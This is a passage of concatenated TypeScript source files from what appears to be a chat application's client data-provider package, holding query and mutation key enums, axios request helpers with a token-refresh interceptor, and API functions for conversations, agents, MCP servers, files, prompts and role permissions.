requiredPermission) === requiredPermission;\n}\n","export enum QueryKeys {\n messages = 'messages',\n sharedMessages = 'sharedMessages',\n sharedLinks = 'sharedLinks',\n allConversations = 'allConversations',\n archivedConversations = 'archivedConversations',\n searchConversations = 'searchConversations',\n conversation = 'conversation',\n searchEnabled = 'searchEnabled',\n user = 'user',\n name = 'name', // user key name\n models = 'models',\n balance = 'balance',\n endpoints = 'endpoints',\n presets = 'presets',\n searchResults = 'searchResults',\n tokenCount = 'tokenCount',\n availablePlugins = 'availablePlugins',\n startupConfig = 'startupConfig',\n assistants = 'assistants',\n assistant = 'assistant',\n agents = 'agents',\n agent = 'agent',\n files = 'files',\n fileConfig = 'fileConfig',\n tools = 'tools',\n toolAuth = 'toolAuth',\n toolCalls = 'toolCalls',\n mcpTools = 'mcpTools',\n mcpConnectionStatus = 'mcpConnectionStatus',\n mcpAuthValues = 'mcpAuthValues',\n agentTools = 'agentTools',\n actions = 'actions',\n assistantDocs = 'assistantDocs',\n agentDocs = 'agentDocs',\n fileDownload = 'fileDownload',\n voices = 'voices',\n customConfigSpeech = 'customConfigSpeech',\n prompts = 'prompts',\n prompt = 'prompt',\n promptGroups = 'promptGroups',\n allPromptGroups = 'allPromptGroups',\n promptGroup = 'promptGroup',\n categories = 'categories',\n randomPrompts = 'randomPrompts',\n agentCategories = 'agentCategories',\n marketplaceAgents = 'marketplaceAgents',\n roles = 'roles',\n conversationTags = 'conversationTags',\n health = 'health',\n userTerms = 'userTerms',\n banner = 'banner',\n /* Memories */\n memories = 'memories',\n principalSearch = 'principalSearch',\n accessRoles = 'accessRoles',\n resourcePermissions = 'resourcePermissions',\n effectivePermissions = 'effectivePermissions',\n graphToken = 'graphToken',\n /* MCP Servers */\n mcpServers = 'mcpServers',\n mcpServer = 'mcpServer',\n /* Active Jobs */\n activeJobs = 'activeJobs',\n /* Agent API Keys */\n agentApiKeys = 'agentApiKeys',\n}\n\n// Dynamic query keys that require parameters\nexport const DynamicQueryKeys = {\n agentFiles: (agentId: string) => ['agentFiles', agentId] as const,\n} as const;\n\nexport enum MutationKeys {\n createAgentApiKey = 'createAgentApiKey',\n deleteAgentApiKey = 'deleteAgentApiKey',\n fileUpload = 'fileUpload',\n fileDelete = 'fileDelete',\n updatePreset = 'updatePreset',\n deletePreset = 'deletePreset',\n loginUser = 'loginUser',\n logoutUser = 'logoutUser',\n refreshToken = 'refreshToken',\n avatarUpload = 'avatarUpload',\n speechToText = 'speechToText',\n textToSpeech = 'textToSpeech',\n assistantAvatarUpload = 'assistantAvatarUpload',\n agentAvatarUpload = 'agentAvatarUpload',\n updateAction = 'updateAction',\n updateAgentAction = 'updateAgentAction',\n deleteAction = 'deleteAction',\n deleteAgentAction = 'deleteAgentAction',\n revertAgentVersion = 'revertAgentVersion',\n deleteUser = 'deleteUser',\n updateRole = 'updateRole',\n enableTwoFactor = 'enableTwoFactor',\n verifyTwoFactor = 'verifyTwoFactor',\n updateMemoryPreferences = 'updateMemoryPreferences',\n}\n","import axios from 'axios';\n\nexport function setAcceptLanguageHeader(value: string): void {\n axios.defaults.headers.common['Accept-Language'] = value;\n}\n\nexport function setTokenHeader(token: string | undefined) {\n if (token === undefined) {\n delete axios.defaults.headers.common['Authorization'];\n } else {\n axios.defaults.headers.common['Authorization'] = 'Bearer ' + token;\n }\n}\n","/* eslint-disable @typescript-eslint/no-explicit-any */\nimport axios, { AxiosError, AxiosRequestConfig } from 'axios';\nimport { setTokenHeader } from './headers-helpers';\nimport * as endpoints from './api-endpoints';\nimport type * as t from './types';\n\nasync function _get<T>(url: string, options?: AxiosRequestConfig): Promise<T> {\n const response = await axios.get(url, { ...options });\n return response.data;\n}\n\nasync function _getResponse<T>(url: string, options?: AxiosRequestConfig): Promise<T> {\n return await axios.get(url, { ...options });\n}\n\nasync function _post(url: string, data?: any) {\n const response = await axios.post(url, JSON.stringify(data), {\n headers: { 'Content-Type': 'application/json' },\n });\n return response.data;\n}\n\nasync function _postMultiPart(url: string, formData: FormData, options?: AxiosRequestConfig) {\n const response = await axios.post(url, formData, {\n ...options,\n headers: { 'Content-Type': 'multipart/form-data' },\n });\n return response.data;\n}\n\nasync function _postTTS(url: string, formData: FormData, options?: AxiosRequestConfig) {\n const response = await axios.post(url, formData, {\n ...options,\n headers: { 'Content-Type': 'multipart/form-data' },\n responseType: 'arraybuffer',\n });\n return response.data;\n}\n\nasync function _put(url: string, data?: any) {\n const response = await axios.put(url, JSON.stringify(data), {\n headers: { 'Content-Type': 'application/json' },\n });\n return response.data;\n}\n\nasync function _delete<T>(url: string): Promise<T> {\n const response = await axios.delete(url);\n return response.data;\n}\n\nasync function _deleteWithOptions<T>(url: string, options?: AxiosRequestConfig): Promise<T> {\n const response = await axios.delete(url, { ...options });\n return response.data;\n}\n\nasync function _patch(url: string, data?: any) {\n const response = await axios.patch(url, JSON.stringify(data), {\n headers: { 'Content-Type': 'application/json' },\n });\n return response.data;\n}\n\nlet isRefreshing = false;\nlet failedQueue: { resolve: (value?: any) => void; reject: (reason?: any) => void }[] = [];\n\nconst refreshToken = (retry?: boolean): Promise<t.TRefreshTokenResponse | undefined> =>\n _post(endpoints.refreshToken(retry));\n\nconst dispatchTokenUpdatedEvent = (token: string) => {\n setTokenHeader(token);\n window.dispatchEvent(new CustomEvent('tokenUpdated', { detail: token }));\n};\n\nconst processQueue = (error: AxiosError | null, token: string | null = null) => {\n failedQueue.forEach((prom) => {\n if (error) {\n prom.reject(error);\n } else {\n prom.resolve(token);\n }\n });\n failedQueue = [];\n};\n\nif (typeof window !== 'undefined') {\n axios.interceptors.response.use(\n (response) => response,\n async (error) => {\n const originalRequest = error.config;\n if (!error.response) {\n return Promise.reject(error);\n }\n\n if (originalRequest.url?.includes('/api/auth/2fa') === true) {\n return Promise.reject(error);\n }\n if (originalRequest.url?.includes('/api/auth/logout') === true) {\n return Promise.reject(error);\n }\n\n /** Skip refresh when the Authorization header has been cleared (e.g. during logout),\n * but allow shared link requests to proceed so auth recovery/redirect can happen */\n if (\n !axios.defaults.headers.common['Authorization'] &&\n !window.location.pathname.startsWith('/share/')\n ) {\n return Promise.reject(error);\n }\n\n if (error.response.status === 401 && !originalRequest._retry) {\n console.warn('401 error, refreshing token');\n originalRequest._retry = true;\n\n if (isRefreshing) {\n try {\n const token = await new Promise((resolve, reject) => {\n failedQueue.push({ resolve, reject });\n });\n originalRequest.headers['Authorization'] = 'Bearer ' + token;\n return await axios(originalRequest);\n } catch (err) {\n return Promise.reject(err);\n }\n }\n\n isRefreshing = true;\n\n try {\n const response = await refreshToken(\n // Handle edge case where we get a blank screen if the initial 401 error is from a refresh token request\n originalRequest.url?.includes('api/auth/refresh') === true ? true : false,\n );\n\n const token = response?.token ?? '';\n\n if (token) {\n originalRequest.headers['Authorization'] = 'Bearer ' + token;\n dispatchTokenUpdatedEvent(token);\n processQueue(null, token);\n return await axios(originalRequest);\n } else {\n processQueue(error, null);\n window.location.href = endpoints.apiBaseUrl() + endpoints.buildLoginRedirectUrl();\n }\n } catch (err) {\n processQueue(err as AxiosError, null);\n return Promise.reject(err);\n } finally {\n isRefreshing = false;\n }\n }\n\n return Promise.reject(error);\n },\n );\n}\n\nexport default {\n get: _get,\n getResponse: _getResponse,\n post: _post,\n postMultiPart: _postMultiPart,\n postTTS: _postTTS,\n put: _put,\n delete: _delete,\n deleteWithOptions: _deleteWithOptions,\n patch: _patch,\n refreshToken,\n dispatchTokenUpdatedEvent,\n};\n","import type { AxiosResponse } from 'axios';\nimport type * as t from './types';\nimport * as endpoints from './api-endpoints';\nimport * as a from './types/assistants';\nimport * as ag from './types/agents';\nimport * as m from './types/mutations';\nimport * as q from './types/queries';\nimport * as f from './types/files';\nimport * as mcp from './types/mcpServers';\nimport * as config from './config';\nimport request from './request';\nimport * as s from './schemas';\nimport * as r from './roles';\nimport * as permissions from './accessPermissions';\n\nexport function revokeUserKey(name: string): Promise<unknown> {\n return request.delete(endpoints.revokeUserKey(name));\n}\n\nexport function revokeAllUserKeys(): Promise<unknown> {\n return request.delete(endpoints.revokeAllUserKeys());\n}\n\nexport function deleteUser(payload?: t.TDeleteUserRequest): Promise<unknown> {\n return request.deleteWithOptions(endpoints.deleteUser(), { data: payload });\n}\n\nexport type FavoriteItem = {\n agentId?: string;\n model?: string;\n endpoint?: string;\n};\n\nexport function getFavorites(): Promise<FavoriteItem[]> {\n return request.get(`${endpoints.apiBaseUrl()}/api/user/settings/favorites`);\n}\n\nexport function updateFavorites(favorites: FavoriteItem[]): Promise<FavoriteItem[]> {\n return request.post(`${endpoints.apiBaseUrl()}/api/user/settings/favorites`, { favorites });\n}\n\nexport function getSharedMessages(shareId: string): Promise<t.TSharedMessagesResponse> {\n return request.get(endpoints.shareMessages(shareId));\n}\n\nexport const listSharedLinks = async (\n params: q.SharedLinksListParams,\n): Promise<q.SharedLinksResponse> => {\n const { pageSize, isPublic, sortBy, sortDirection, search, cursor } = params;\n\n return request.get(\n endpoints.getSharedLinks(pageSize, isPublic, sortBy, sortDirection, search, cursor),\n );\n};\n\nexport function getSharedLink(conversationId: string): Promise<t.TSharedLinkGetResponse> {\n return request.get(endpoints.getSharedLink(conversationId));\n}\n\nexport function createSharedLink(\n conversationId: string,\n targetMessageId?: string,\n): Promise<t.TSharedLinkResponse> {\n return request.post(endpoints.createSharedLink(conversationId), { targetMessageId });\n}\n\nexport function updateSharedLink(shareId: string): Promise<t.TSharedLinkResponse> {\n return request.patch(endpoints.updateSharedLink(shareId));\n}\n\nexport function deleteSharedLink(shareId: string): Promise<m.TDeleteSharedLinkResponse> {\n return request.delete(endpoints.shareMessages(shareId));\n}\n\nexport function updateUserKey(payload: t.TUpdateUserKeyRequest) {\n const { value } = payload;\n if (!value) {\n throw new Error('value is required');\n }\n\n return request.put(endpoints.keys(), payload);\n}\n\nexport function getAgentApiKeys(): Promise<t.TAgentApiKeyListResponse> {\n return request.get(endpoints.apiKeys());\n}\n\nexport function createAgentApiKey(\n payload: t.TAgentApiKeyCreateRequest,\n): Promise<t.TAgentApiKeyCreateResponse> {\n return request.post(endpoints.apiKeys(), payload);\n}\n\nexport function deleteAgentApiKey(id: string): Promise<void> {\n return request.delete(endpoints.apiKeyById(id));\n}\n\nexport function getPresets(): Promise<s.TPreset[]> {\n return request.get(endpoints.presets());\n}\n\nexport function createPreset(payload: s.TPreset): Promise<s.TPreset> {\n return request.post(endpoints.presets(), payload);\n}\n\nexport function updatePreset(payload: s.TPreset): Promise<s.TPreset> {\n return request.post(endpoints.presets(), payload);\n}\n\nexport function deletePreset(arg: s.TPreset | undefined): Promise<m.PresetDeleteResponse> {\n return request.post(endpoints.deletePreset(), arg);\n}\n\nexport function getSearchEnabled(): Promise<boolean> {\n return request.get(endpoints.searchEnabled());\n}\n\nexport function getUser(): Promise<t.TUser> {\n return request.get(endpoints.user());\n}\n\nexport function getUserBalance(): Promise<t.TBalanceResponse> {\n return request.get(endpoints.balance());\n}\n\nexport const updateTokenCount = (text: string) => {\n return request.post(endpoints.tokenizer(), { arg: text });\n};\n\nexport const login = (payload: t.TLoginUser): Promise<t.TLoginResponse> => {\n return request.post(endpoints.login(), payload);\n};\n\nexport const logout = (): Promise<m.TLogoutResponse> => {\n return request.post(endpoints.logout());\n};\n\nexport const register = (payload: t.TRegisterUser) => {\n return request.post(endpoints.register(), payload);\n};\n\nexport const userKeyQuery = (name: string): Promise<t.TCheckUserKeyResponse> =>\n request.get(endpoints.userKeyQuery(name));\n\nexport const getLoginGoogle = () => {\n return request.get(endpoints.loginGoogle());\n};\n\nexport const requestPasswordReset = (\n payload: t.TRequestPasswordReset,\n): Promise<t.TRequestPasswordResetResponse> => {\n return request.post(endpoints.requestPasswordReset(), payload);\n};\n\nexport const resetPassword = (payload: t.TResetPassword) => {\n return request.post(endpoints.resetPassword(), payload);\n};\n\nexport const verifyEmail = (payload: t.TVerifyEmail): Promise<t.VerifyEmailResponse> => {\n return request.post(endpoints.verifyEmail(), payload);\n};\n\nexport const resendVerificationEmail = (\n payload: t.TResendVerificationEmail,\n): Promise<t.VerifyEmailResponse> => {\n return request.post(endpoints.resendVerificationEmail(), payload);\n};\n\nexport const getAvailablePlugins = (): Promise<s.TPlugin[]> => {\n return request.get(endpoints.plugins());\n};\n\nexport const updateUserPlugins = (payload: t.TUpdateUserPlugins) => {\n return request.post(endpoints.userPlugins(), payload);\n};\n\nexport const reinitializeMCPServer = (serverName: string) => {\n return request.post(endpoints.mcpReinitialize(serverName));\n};\n\nexport const bindMCPOAuth = (serverName: string): Promise<{ success: boolean }> => {\n return request.post(endpoints.mcpOAuthBind(serverName));\n};\n\nexport const bindActionOAuth = (actionId: string): Promise<{ success: boolean }> => {\n return request.post(endpoints.actionOAuthBind(actionId));\n};\n\nexport const getMCPConnectionStatus = (): Promise<q.MCPConnectionStatusResponse> => {\n return request.get(endpoints.mcpConnectionStatus());\n};\n\nexport const getMCPServerConnectionStatus = (\n serverName: string,\n): Promise<q.MCPServerConnectionStatusResponse> => {\n return request.get(endpoints.mcpServerConnectionStatus(serverName));\n};\n\nexport const getMCPAuthValues = (serverName: string): Promise<q.MCPAuthValuesResponse> => {\n return request.get(endpoints.mcpAuthValues(serverName));\n};\n\nexport function cancelMCPOAuth(serverName: string): Promise<m.CancelMCPOAuthResponse> {\n return request.post(endpoints.cancelMCPOAuth(serverName), {});\n}\n\n/* Config */\n\nexport const getStartupConfig = (): Promise<\n config.TStartupConfig & {\n mcpCustomUserVars?: Record<string, { title: string; description: string }>;\n }\n> => {\n return request.get(endpoints.config());\n};\n\nexport const getAIEndpoints = (): Promise<t.TEndpointsConfig> => {\n return request.get(endpoints.aiEndpoints());\n};\n\nexport const getModels = async (): Promise<t.TModelsConfig> => {\n return request.get(endpoints.models());\n};\n\n/* Assistants */\n\nexport const createAssistant = ({\n version,\n ...data\n}: a.AssistantCreateParams): Promise<a.Assistant> => {\n return request.post(endpoints.assistants({ version }), data);\n};\n\nexport const getAssistantById = ({\n endpoint,\n assistant_id,\n version,\n}: {\n endpoint: s.AssistantsEndpoint;\n assistant_id: string;\n version: number | string | number;\n}): Promise<a.Assistant> => {\n return request.get(\n endpoints.assistants({\n path: assistant_id,\n endpoint,\n version,\n }),\n );\n};\n\nexport const updateAssistant = ({\n assistant_id,\n data,\n version,\n}: {\n assistant_id: string;\n data: a.AssistantUpdateParams;\n version: number | string;\n}): Promise<a.Assistant> => {\n return request.patch(\n endpoints.assistants({\n path: assistant_id,\n version,\n }),\n data,\n );\n};\n\nexport const deleteAssistant = ({\n assistant_id,\n model,\n endpoint,\n version,\n}: m.DeleteAssistantBody & { version: number | string }): Promise<void> => {\n return request.delete(\n endpoints.assistants({\n path: assistant_id,\n options: { model, endpoint },\n version,\n }),\n );\n};\n\nexport const listAssistants = (\n params: a.AssistantListParams,\n version: number | string,\n): Promise<a.AssistantListResponse> => {\n return request.get(\n endpoints.assistants({\n version,\n options: params,\n }),\n );\n};\n\nexport function getAssistantDocs({\n endpoint,\n version,\n}: {\n endpoint: s.AssistantsEndpoint | string;\n version: number | string;\n}): Promise<a.AssistantDocument[]> {\n if (!s.isAssistantsEndpoint(endpoint)) {\n return Promise.resolve([]);\n }\n return request.get(\n endpoints.assistants({\n path: 'documents',\n version,\n options: { endpoint },\n endpoint: endpoint as s.AssistantsEndpoint,\n }),\n );\n}\n\n/* Tools */\n\nexport const getAvailableTools = (\n _endpoint: s.AssistantsEndpoint | s.EModelEndpoint.agents,\n version?: number | string,\n): Promise<s.TPlugin[]> => {\n let path = '';\n if (s.isAssistantsEndpoint(_endpoint)) {\n const endpoint = _endpoint as s.AssistantsEndpoint;\n path = endpoints.assistants({\n path: 'tools',\n endpoint: endpoint,\n version: version ?? config.defaultAssistantsVersion[endpoint],\n });\n } else {\n path = endpoints.agents({\n path: 'tools',\n });\n }\n\n return request.get(path);\n};\n\n/* MCP Tools - Decoupled from regular tools */\n\nexport const getMCPTools = (): Promise<q.MCPServersResponse> => {\n return request.get(endpoints.mcp.tools);\n};\n\nexport const getVerifyAgentToolAuth = (\n params: q.VerifyToolAuthParams,\n): Promise<q.VerifyToolAuthResponse> => {\n return request.get(\n endpoints.agents({\n path: `tools/${params.toolId}/auth`,\n }),\n );\n};\n\nexport const callTool = <T extends m.ToolId>({\n toolId,\n toolParams,\n}: {\n toolId: T;\n toolParams: m.ToolParams<T>;\n}): Promise<m.ToolCallResponse> => {\n return request.post(\n endpoints.agents({\n path: `tools/${toolId}/call`,\n }),\n toolParams,\n );\n};\n\nexport const getToolCalls = (params: q.GetToolCallParams): Promise<q.ToolCallResults> => {\n return request.get(\n endpoints.agents({\n path: 'tools/calls',\n options: params,\n }),\n );\n};\n\n/* Files */\n\nexport const getFiles = (): Promise<f.TFile[]> => {\n return request.get(endpoints.files());\n};\n\nexport const getAgentFiles = (agentId: string): Promise<f.TFile[]> => {\n return request.get(endpoints.agentFiles(agentId));\n};\n\nexport const getFileConfig = (): Promise<f.FileConfig> => {\n return request.get(`${endpoints.files()}/config`);\n};\n\nexport const uploadImage = (\n data: FormData,\n signal?: AbortSignal | null,\n): Promise<f.TFileUpload> => {\n const requestConfig = signal ? { signal } : undefined;\n return request.postMultiPart(endpoints.images(), data, requestConfig);\n};\n\nexport const uploadFile = (data: FormData, signal?: AbortSignal | null): Promise<f.TFileUpload> => {\n const requestConfig = signal ? { signal } : undefined;\n return request.postMultiPart(endpoints.files(), data, requestConfig);\n};\n\n/* actions */\n\nexport const updateAction = (data: m.UpdateActionVariables): Promise<m.UpdateActionResponse> => {\n const { assistant_id, version, ...body } = data;\n return request.post(\n endpoints.assistants({\n path: `actions/${assistant_id}`,\n version,\n }),\n body,\n );\n};\n\nexport function getActions(): Promise<ag.Action[]> {\n return request.get(\n endpoints.agents({\n path: 'actions',\n }),\n );\n}\n\nexport const deleteAction = async ({\n assistant_id,\n action_id,\n model,\n version,\n endpoint,\n}: m.DeleteActionVariables & { version: number | string }): Promise<void> =>\n request.delete(\n endpoints.assistants({\n path: `actions/${assistant_id}/${action_id}/${model}`,\n version,\n endpoint,\n }),\n );\n\n/**\n * Agents\n */\n\nexport const createAgent = ({ ...data }: a.AgentCreateParams): Promise<a.Agent> => {\n return request.post(endpoints.agents({}), data);\n};\n\nexport const getAgentById = ({ agent_id }: { agent_id: string }): Promise<a.Agent> => {\n return request.get(\n endpoints.agents({\n path: agent_id,\n }),\n );\n};\n\nexport const getExpandedAgentById = ({ agent_id }: { agent_id: string }): Promise<a.Agent> => {\n return request.get(\n endpoints.agents({\n path: `${agent_id}/expanded`,\n }),\n );\n};\n\nexport const updateAgent = ({\n agent_id,\n data,\n}: {\n agent_id: string;\n data: a.AgentUpdateParams;\n}): Promise<a.Agent> => {\n return request.patch(\n endpoints.agents({\n path: agent_id,\n }),\n data,\n );\n};\n\nexport const duplicateAgent = ({\n agent_id,\n}: m.DuplicateAgentBody): Promise<{ agent: a.Agent; actions: ag.Action[] }> => {\n return request.post(\n endpoints.agents({\n path: `${agent_id}/duplicate`,\n }),\n );\n};\n\nexport const deleteAgent = ({ agent_id }: m.DeleteAgentBody): Promise<void> => {\n return request.delete(\n endpoints.agents({\n path: agent_id,\n }),\n );\n};\n\nexport const listAgents = (params: a.AgentListParams): Promise<a.AgentListResponse> => {\n return request.get(\n endpoints.agents({\n options: params,\n }),\n );\n};\n\nexport const revertAgentVersion = ({\n agent_id,\n version_index,\n}: {\n agent_id: string;\n version_index: number;\n}): Promise<a.Agent> => request.post(endpoints.revertAgentVersion(agent_id), { version_index });\n\n/* Marketplace */\n\n/**\n * Get agent categories with counts for marketplace tabs\n */\nexport const getAgentCategories = (): Promise<t.TMarketplaceCategory[]> => {\n return request.get(endpoints.agents({ path: 'categories' }));\n};\n\n/**\n * Unified marketplace agents endpoint with query string controls\n */\nexport const getMarketplaceAgents = (params: {\n requiredPermission: number;\n category?: string;\n search?: string;\n limit?: number;\n cursor?: string;\n promoted?: 0 | 1;\n}): Promise<a.AgentListResponse> => {\n return request.get(\n endpoints.agents({\n // path: 'marketplace',\n options: params,\n }),\n );\n};\n\n/* Tools */\n\nexport const getAvailableAgentTools = (): Promise<s.TPlugin[]> => {\n return request.get(\n endpoints.agents({\n path: 'tools',\n }),\n );\n};\n\n/* Actions */\n\nexport const updateAgentAction = (\n data: m.UpdateAgentActionVariables,\n): Promise<m.UpdateAgentActionResponse> => {\n const { agent_id, ...body } = data;\n return request.post(\n endpoints.agents({\n path: `actions/${agent_id}`,\n }),\n body,\n );\n};\n\nexport const deleteAgentAction = async ({\n agent_id,\n action_id,\n}: m.DeleteAgentActionVariables): Promise<void> =>\n request.delete(\n endpoints.agents({\n path: `actions/${agent_id}/${action_id}`,\n }),\n );\n\n/**\n * MCP Servers\n */\n\n/**\n *\n * Ensure and List loaded mcp server configs from the cache Enriched with effective permissions.\n */\nexport const getMCPServers = async (): Promise<mcp.MCPServersListResponse> => {\n return request.get(endpoints.mcp.servers);\n};\n\n/**\n * Get a single MCP server by ID\n */\nexport const getMCPServer = async (serverName: string): Promise<mcp.MCPServerDBObjectResponse> => {\n return request.get(endpoints.mcpServer(serverName));\n};\n\n/**\n * Create a new MCP server\n */\nexport const createMCPServer = async (\n data: mcp.MCPServerCreateParams,\n): Promise<mcp.MCPServerDBObjectResponse> => {\n return request.post(endpoints.mcp.servers, data);\n};\n\n/**\n * Update an existing MCP server\n */\nexport const updateMCPServer = async (\n serverName: string,\n data: mcp.MCPServerUpdateParams,\n): Promise<mcp.MCPServerDBObjectResponse> => {\n return request.patch(endpoints.mcpServer(serverName), data);\n};\n\n/**\n * Delete an MCP server\n */\nexport const deleteMCPServer = async (serverName: string): Promise<{ success: boolean }> => {\n return request.delete(endpoints.mcpServer(serverName));\n};\n\n/**\n * Imports a conversations file.\n *\n * @param data - The FormData containing the file to import.\n * @returns A Promise that resolves to the import start response.\n */\nexport const importConversationsFile = (data: FormData): Promise<t.TImportResponse> => {\n return request.postMultiPart(endpoints.importConversation(), data);\n};\n\nexport const uploadAvatar = (data: FormData): Promise<f.AvatarUploadResponse> => {\n return request.postMultiPart(endpoints.avatar(), data);\n};\n\nexport const uploadAssistantAvatar = (data: m.AssistantAvatarVariables): Promise<a.Assistant> => {\n return request.postMultiPart(\n endpoints.assistants({\n isAvatar: true,\n path: `${data.assistant_id}/avatar`,\n options: { model: data.model, endpoint: data.endpoint },\n version: data.version,\n }),\n data.formData,\n );\n};\n\nexport const uploadAgentAvatar = (data: m.AgentAvatarVariables): Promise<a.Agent> => {\n return request.postMultiPart(\n `${endpoints.images()}/agents/${data.agent_id}/avatar`,\n data.formData,\n );\n};\n\nexport const getFileDownload = async (userId: string, file_id: string): Promise<AxiosResponse> => {\n return request.getResponse(`${endpoints.files()}/download/${userId}/${file_id}`, {\n responseType: 'blob',\n headers: {\n Accept: 'application/octet-stream',\n },\n });\n};\n\nexport const getCodeOutputDownload = async (url: string): Promise<AxiosResponse> => {\n return request.getResponse(url, {\n responseType: 'blob',\n headers: {\n Accept: 'application/octet-stream',\n },\n });\n};\n\nexport const deleteFiles = async (payload: {\n files: f.BatchFile[];\n agent_id?: string;\n assistant_id?: string;\n tool_resource?: a.EToolResources;\n}): Promise<f.DeleteFilesResponse> =>\n request.deleteWithOptions(endpoints.files(), {\n data: payload,\n });\n\n/* Speech */\n\nexport const speechToText = (data: FormData): Promise<f.SpeechToTextResponse> => {\n return request.postMultiPart(endpoints.speechToText(), data);\n};\n\nexport const textToSpeech = (data: FormData): Promise<ArrayBuffer> => {\n return request.postTTS(endpoints.textToSpeechManual(), data);\n};\n\nexport const getVoices = (): Promise<f.VoiceResponse> => {\n return request.get(endpoints.textToSpeechVoices());\n};\n\nexport const getCustomConfigSpeech = (): Promise<t.TCustomConfigSpeechResponse> => {\n return request.get(endpoints.getCustomConfigSpeech());\n};\n\n/* conversations */\n\nexport function duplicateConversation(\n payload: t.TDuplicateConvoRequest,\n): Promise<t.TDuplicateConvoResponse> {\n return request.post(endpoints.duplicateConversation(), payload);\n}\n\nexport function forkConversation(payload: t.TForkConvoRequest): Promise<t.TForkConvoResponse> {\n return request.post(endpoints.forkConversation(), payload);\n}\n\nexport function deleteConversation(payload: t.TDeleteConversationRequest) {\n return request.deleteWithOptions(endpoints.deleteConversation(), { data: { arg: payload } });\n}\n\nexport function clearAllConversations(): Promise<unknown> {\n return request.delete(endpoints.deleteAllConversation());\n}\n\nexport const listConversations = (\n params?: q.ConversationListParams,\n): Promise<q.ConversationListResponse> => {\n return request.get(endpoints.conversations(params ?? {}));\n};\n\nexport function getConversations(cursor: string): Promise<t.TGetConversationsResponse> {\n return request.get(endpoints.conversations({ cursor }));\n}\n\nexport function getConversationById(id: string): Promise<s.TConversation> {\n return request.get(endpoints.conversationById(id));\n}\n\nexport function updateConversation(\n payload: t.TUpdateConversationRequest,\n): Promise<t.TUpdateConversationResponse> {\n return request.post(endpoints.updateConversation(), { arg: payload });\n}\n\nexport function archiveConversation(\n payload: t.TArchiveConversationRequest,\n): Promise<t.TArchiveConversationResponse> {\n return request.post(endpoints.archiveConversation(), { arg: payload });\n}\n\nexport function genTitle(payload: m.TGenTitleRequest): Promise<m.TGenTitleResponse> {\n return request.get(endpoints.genTitle(payload.conversationId));\n}\n\nexport const listMessages = (params?: q.MessagesListParams): Promise<q.MessagesListResponse> => {\n return request.get(endpoints.messages(params ?? {}));\n};\n\nexport function updateMessage(payload: t.TUpdateMessageRequest): Promise<unknown> {\n const { conversationId, messageId, text } = payload;\n if (!conversationId) {\n throw new Error('conversationId is required');\n }\n\n return request.put(endpoints.messages({ conversationId, messageId }), { text });\n}\n\nexport function updateMessageContent(payload: t.TUpdateMessageContent): Promise<unknown> {\n const { conversationId, messageId, index, text } = payload;\n if (!conversationId) {\n throw new Error('conversationId is required');\n }\n\n return request.put(endpoints.messages({ conversationId, messageId }), { text, index });\n}\n\nexport const editArtifact = async ({\n messageId,\n ...params\n}: m.TEditArtifactRequest): Promise<m.TEditArtifactResponse> => {\n return request.post(endpoints.messagesArtifacts(messageId), params);\n};\n\nexport const branchMessage = async (\n payload: m.TBranchMessageRequest,\n): Promise<m.TBranchMessageResponse> => {\n return request.post(endpoints.messagesBranch(), payload);\n};\n\nexport function getMessagesByConvoId(conversationId: string): Promise<s.TMessage[]> {\n if (\n conversationId === config.Constants.NEW_CONVO ||\n conversationId === config.Constants.PENDING_CONVO\n ) {\n return Promise.resolve([]);\n }\n return request.get(endpoints.messages({ conversationId }));\n}\n\nexport function getPrompt(id: string): Promise<{ prompt: t.TPrompt }> {\n return request.get(endpoints.getPrompt(id));\n}\n\nexport function getPrompts(filter: t.TPromptsWithFilterRequest): Promise<t.TPrompt[]> {\n return request.get(endpoints.getPromptsWithFilters(filter));\n}\n\nexport function getAllPromptGroups(): Promise<q.AllPromptGroupsResponse> {\n return request.get(endpoints.getAllPromptGroups());\n}\n\nexport function getPromptGroups(\n filter: t.TPromptGroupsWithFilterRequest,\n): Promise<t.PromptGroupListResponse> {\n return request.get(endpoints.getPromptGroupsWithFilters(filter));\n}\n\nexport function getPromptGroup(id: string): Promise<t.TPromptGroup> {\n return request.get(endpoints.getPromptGroup(id));\n}\n\nexport function createPrompt(payload: t.TCreatePrompt): Promise<t.TCreatePromptResponse> {\n return request.post(endpoints.postPrompt(), payload);\n}\n\nexport function addPromptToGroup(\n groupId: string,\n payload: t.TCreatePrompt,\n): Promise<t.TCreatePromptResponse> {\n return request.post(endpoints.addPromptToGroup(groupId), payload);\n}\n\nexport function updatePromptGroup(\n variables: t.TUpdatePromptGroupVariables,\n): Promise<t.TUpdatePromptGroupResponse> {\n return request.patch(endpoints.updatePromptGroup(variables.id), variables.payload);\n}\n\nexport function deletePrompt(payload: t.TDeletePromptVariables): Promise<t.TDeletePromptResponse> {\n return request.delete(endpoints.deletePrompt(payload));\n}\n\nexport function makePromptProduction(id: string): Promise<t.TMakePromptProductionResponse> {\n return request.patch(endpoints.updatePromptTag(id));\n}\n\nexport function updatePromptLabels(\n variables: t.TUpdatePromptLabelsRequest,\n): Promise<t.TUpdatePromptLabelsResponse> {\n return request.patch(endpoints.updatePromptLabels(variables.id), variables.payload);\n}\n\nexport function deletePromptGroup(id: string): Promise<t.TDeletePromptGroupResponse> {\n return request.delete(endpoints.deletePromptGroup(id));\n}\n\nexport function getCategories(): Promise<t.TGetCategoriesResponse> {\n return request.get(endpoints.getCategories());\n}\n\nexport function getRandomPrompts(\n variables: t.TGetRandomPromptsRequest,\n): Promise<t.TGetRandomPromptsResponse> {\n return request.get(endpoints.getRandomPrompts(variables.limit, variables.skip));\n}\n\n/* Roles */\nexport function getRole(roleName: string): Promise<r.TRole> {\n return request.get(endpoints.getRole(roleName));\n}\n\nexport function updatePromptPermissions(\n variables: m.UpdatePromptPermVars,\n): Promise<m.UpdatePermResponse> {\n return request.put(endpoints.updatePromptPermissions(variables.roleName), variables.updates);\n}\n\nexport function updateAgentPermissions(\n variables: m.UpdateAgentPermVars,\n): Promise<m.UpdatePermResponse> {\n return request.put(endpoints.updateAgentPermissions(variables.roleName), variables.updates);\n}\n\nexport function updateMemoryPermissions(\n variables: m.UpdateMemoryPermVars,\n): Promise<m.UpdatePermResponse> {\n return request.put(endpoints.updateMemoryPermissions(variables.roleName), variables.updates);\n}\n\nexport function updatePeoplePickerPermissions(\n variables: m.UpdatePeoplePickerPermVars,\n): Promise<m.UpdatePermResponse> {\n return request.put(\n endpoints.updatePeoplePickerPermissions(variables.roleName),\n variables.updates,\n );\n}\n\nexport function updateMCPServersPermissions(\n variables: m.UpdateMCPServersPermVars,\n): Promise<m.UpdatePermResponse> {\n return request.put(endpoints.updateMCPServersPermissions(variables.roleName), variables.updates);\n}\n\nexport function updateRemoteAgentsPermissions(\n 